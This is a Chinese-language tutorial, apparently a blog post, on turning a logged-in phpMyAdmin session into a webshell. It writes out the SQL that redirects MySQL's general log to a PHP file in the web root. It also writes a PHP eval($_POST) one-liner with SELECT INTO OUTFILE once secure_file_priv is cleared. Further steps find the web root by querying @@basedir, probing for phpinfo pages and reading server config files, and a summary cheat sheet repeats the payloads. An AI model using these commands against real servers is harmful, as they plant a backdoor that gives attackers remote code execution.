前言:
phpmyadmin后台拿webshell的方法主要分為兩個方法:
(1) 、通過日志文件拿webshell;
(2) 、利用日志文件寫入一句話;(這個方法可能在實際操作中會遇到困難);
本地搭建環境:
Phpmystudy 2018
PHP--5.5.38
一、日志文件寫入一句話來獲取webshell:
(1) 、首先我們先利用日志文件寫入一句話來獲取webshell,日志文件寫入的思路利用mysql的一個日志文件。我們執行的每一個sql語句都會被保存到日志中,換個思路想一下把這個日志文件重名為*.php,然后我們在執行一次sql語句,那么就會被保存在這個*.php文件中,這樣我們就能順利拿到webshell。
(2) 、假如通過某個方法獲取到phpmyadmin的登陸后台且賬號密碼是弱口令:
(3)、點擊變量選項,搜索gen就會出來general.log和general log file這兩個變量,general.log變量是指是否啟動記錄日志;而general log file指的是日志文件的路徑,可以看到general.log變量的狀態為OFF,故我們要修改為ON;general log file變量中的*.log的后綴我們改為*php。拿完webshell記得要改回去喲。
SQL語句進行修改:
SET global general_log = "ON"; 日志保存狀態開啟;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志的保存位置。
(具體路徑還需在實際環境中改變);
修改后的配置
(4)保存后,我們在SQL查詢的框中寫入
select "<?php eval($_POST['cmd']);?>";
或着
SELECT '<?phpassert($_POST["cmd"]);?>';
執行完畢后就會出現這個界面,這樣的話我們就成功的把一句話寫入到日志文件中:
(5)、查看網站目錄下生成了一個shell.php的文件,一句話木馬已經被我們寫入,看到這里大家可能會問為什么里面不是純凈的一句話木馬?我也百思不得其解,百度了一下發現是我們是上傳的php一句話木馬,在連接過程中,它是從頭開始讀取的,因為前面的不具備php文件的特征:
(6)、瀏覽器測試
用菜刀直接連接木馬地址,webshell成功拿到:
http://127.0.0.1/shell.php
webshell已經拿到
二、利用插入一句話來提取webshell:
1、在知道路徑的前提下插入一句話,
我們在插入一句話木馬的時候首先要檢測插入的條件是否被允許,輸入查詢語句
show global variables like '%secure%';
顯示是NULL值,這樣的情況下我們插入一句話是無法插入的,需要我們修改secure_file_priv=’’為空值才能插入一句話:
解釋一下:
- secure_file_priv為null 表示不允許導入導出;
- secure_file_priv指定文件夾時,表示mysql的導入導出只能在指定的文件夾;
- secure_file_priv沒有設置時,則表示沒有任何限制;
當secure_file_priv為null 時,執行插入語句,發現無法插入一句話木馬:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思是Mysql服務器運行“--secure-file-priv”選項,所以不能執行這個語句。
如果要解決這個問題,我們可以通過下面2種方式:將你要導入或導出的文件位置指定到你設置的路徑里;由於不能在網頁上修改,所以我們只能修改my.cnf里關於這個選項的配置,然后重啟即可。(windwos下my.cnf叫my.ini)我的在E:\phpStudy\PHPTutorial\MySQL路徑下
把--secure-file-priv修改為'' 沒有這個則添加。
(1)、當我們把上面的障礙掃平之后,接下來就比較簡單,我們可以這樣寫:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思就是在目錄下會生成一個shell.php的文件,我們用菜刀直接連接這個文件地址就可以直接拿到webshell:
(2)、我們用菜刀直接連接http://127.0.0.1/shell.php就可以成功拿到服務器webshell:
2、在不知道絕對路徑的前提下拿webshell:
這個方法幾乎和我們做灰盒測試差不多,只拿到了登陸后台,但是不知道網站的絕對路徑,這就非常尷尬,下面我總結了一下幾點可以成功爆出網站的根路徑:
(1)、SQL查詢框中輸入select @@basedir;就可以成功的輸出絕對路徑,這是利用了mysql的特性;(這個比較常用,畢竟是mysql的特性)
select @@basedir;
(2)、直接在url后面輸入phpinfo.php,看看能不能讀出這個文件,如果存在就會把網站的絕對路徑顯示出來,這樣的情況特少,因為網站管理人員不可能把這個測試頁面在互聯網上面直接顯示出來,他們或許會更改路徑或許會設置目錄訪問權限;
(3)、使用掃描工具對網站進行掃掃描;掃描一些phpinfo.php info.php php.php test.php等等;
(4)、phpmyadmin讀取 iis6,iis7配置文件 讀取apache Nginx 配置文件!
- windows2003 iis6配置文件所在位置 C:\Windows/system32\inetsrv\metabase.xml
- win2008/2012 iis7.5 在這個文件 C:\Windows\System32\inetsrv\config\applicationHost.config
- Nginx配置 /etc/nginx/conf.d/vhost.conf /etc/nginx/nginx.conf
- apache配置 /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
總結
1、利用日志寫shell
SET global general_log = "ON"; 日志保存狀態開啟;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志保存的位置
SELECT "<?php eval($_POST['cmd']);?>";
2、利用 select XXX into outfile 絕對路徑寫shell(需要secure_file_priv='')
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
3、查找絕對路徑
select @@basedir;